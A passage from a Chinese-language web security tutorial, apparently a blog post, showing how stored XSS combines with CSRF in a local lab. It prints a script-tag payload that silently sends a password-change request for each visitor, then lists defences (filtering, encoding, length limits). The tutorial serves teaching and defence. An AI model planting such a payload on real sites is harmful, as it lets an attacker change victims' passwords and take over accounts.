完成之后再次刷新页面,发现已经不是之前的登录界面了,而是登录后的界面。至此,一个从cookie窃取到利用的过程就已完成。
3、配合csrf攻击完成恶意请求
先简单解释以下csrf攻击。Csrf攻击就是在未经你许可的情况下用你的名义发送恶意请求(比如修改密码,银行转账等),下面演示一个用xss配合csrf修改用户密码的例子。
首先对修改用户密码的界面进行抓包。
发现没有对原密码进行校验。于是一股邪恶的力量油然而生:要是在xss的恶意脚本中自动提交get请求修改密码的话。。
说干就干,具体插入语句如下:
<script type="text/javascript" src="http://127.0.0.1/test/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"></script>
有人会问,这不是引用脚本吗?其实不然,本质上这还是发起了一起get请求,因此可以直接使用。与上例一样,插入到message中,再坐等上钩。等下一个用户访问该界面时,密码就会被改为123456了。
我们再看下访问该页面时的抓包情况,发现每次访问该页面都发送了更改密码的请求
效果看数据库(密码md5加密)
访问了该页面的用户密码都被更改了。
防范手段
都说知己知彼方能百战不殆,知道了xss攻击的原理那么防御的方法也就显而易见了。
- 首先是过滤。对诸如<script>、<img>、<a>等标签进行过滤。
- 其次是编码。像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。
- 最后是限制。通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。
后话
安全攻防双方的博弈永远都不会停止,也正是这种博弈推进了信息安全的发展。究竟是道高一尺还是魔高一丈很难定论。其实安全问题归根结底还是一个信任的前提。什么输入值得信任?什么输入不值得信任需要特殊处理是安全人员常常要思考的一个问题。
(以上内容如有错误之处,敬请指正,谢谢!)